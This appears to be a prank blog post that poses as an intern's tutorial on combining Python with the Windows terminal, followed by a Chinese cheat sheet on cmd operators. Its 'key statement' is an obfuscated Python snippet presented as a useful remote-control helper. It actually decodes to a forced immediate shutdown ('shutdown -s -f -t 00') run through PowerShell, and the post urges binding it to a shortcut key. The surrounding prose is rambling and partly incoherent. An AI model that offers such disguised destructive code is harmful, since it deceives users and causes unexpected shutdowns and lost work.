Why don't programmers like to shut down their computers?
Have you noticed that programmers seem to never shut down their computers? Don't think they are addicted to computers, they have their own reasons! Let's unveil the reasons behind it and see the true "heroic" nature of programmers!
I am currently interning at a company. Since data is not always generated during working hours, I need to work at night, and the working system is from morning to afternoon, so I hope to be able to remotely control the computer when I go back at night.
(Getting data requires special permissions, so I must use the company's machine)
I found that the correct posture for an internship should be:
- Clarify the workflow
Only when you know what to do and make each step accurately can you ensure the feasibility of the operation.
When programming, having a flowchart in your mind is very helpful.
After setting up the process, the computer will know what to do. This is the essence of programming and the basic requirement for the reliability of automated office.
2. Use programming languages (such as Python) in conjunction with the system terminal to achieve automated office.
To achieve automatic and batch manipulation of the system, the system terminal will be very convenient.
I personally use the Windows system more often. It has two types of terminals, PowerShell and cmd, both of which can be regarded as a computer language.
From the language style, PowerShell is like a mixture of various language styles, so if you have learned many languages before, with the blessing of GPT, you will get started faster.
Why Python? Web crawling, automatic keyboard and mouse, data analysis and data processing, parallel computing, these are all achievable by Python.
Therefore, during my internship, I thought of a way to automatically combine the system terminal with Python: I use Python as a guide to induce the system terminal process, and then after the system terminal runs, return to the Python manipulation interface.
Below is a simple key statement that can help us achieve many functions.
import subprocess as sp
s = ''
p = ':;0\x93k\x93ĪŤDz̎υӯڴࡺ\u0a7bೋྎአᘈ᧲'
for i in range(len(p)):
s += chr(ord(p[i])-i**3+i**2-i-10)
sp.run(['PowerShell', '-Command', eval(chr(115) + chr(91) + chr(58) + chr(58) + str(-1) + chr(93))])
Yes, programmers don't like to shut down their computers.
Moreover, you can use a shortcut, and set a shortcut key for this shortcut, so it will be very convenient every time you call it, and the code can also run in the background.
Next, I will use a closing statement to end this explanation.
The computer is the most powerful place for hackers, and it is also the most vulnerable place for hackers!
You see, when the hacker is not there, messing with the hacker's computer, pressing the shortcut keys randomly, unplugging the hacker's plug, damaging the hacker's equipment, all will have disastrous consequences...
You see, when the hacker is obsessed with technology in front of the computer, it is when the hacker is most likely to be physically injured...
cmd 小助手
c1&c2
依次执行命令c1, c2,不论c1成功还是失败,执行完后执行c2
c1&&c2
必须全部都执行成功才能执行
c1||c2||c3
只要有一个执行成功就可以执行,按照c1, c2, c3顺序仅执行最先成功的哪一个
c1|c2
同时执行c1和c2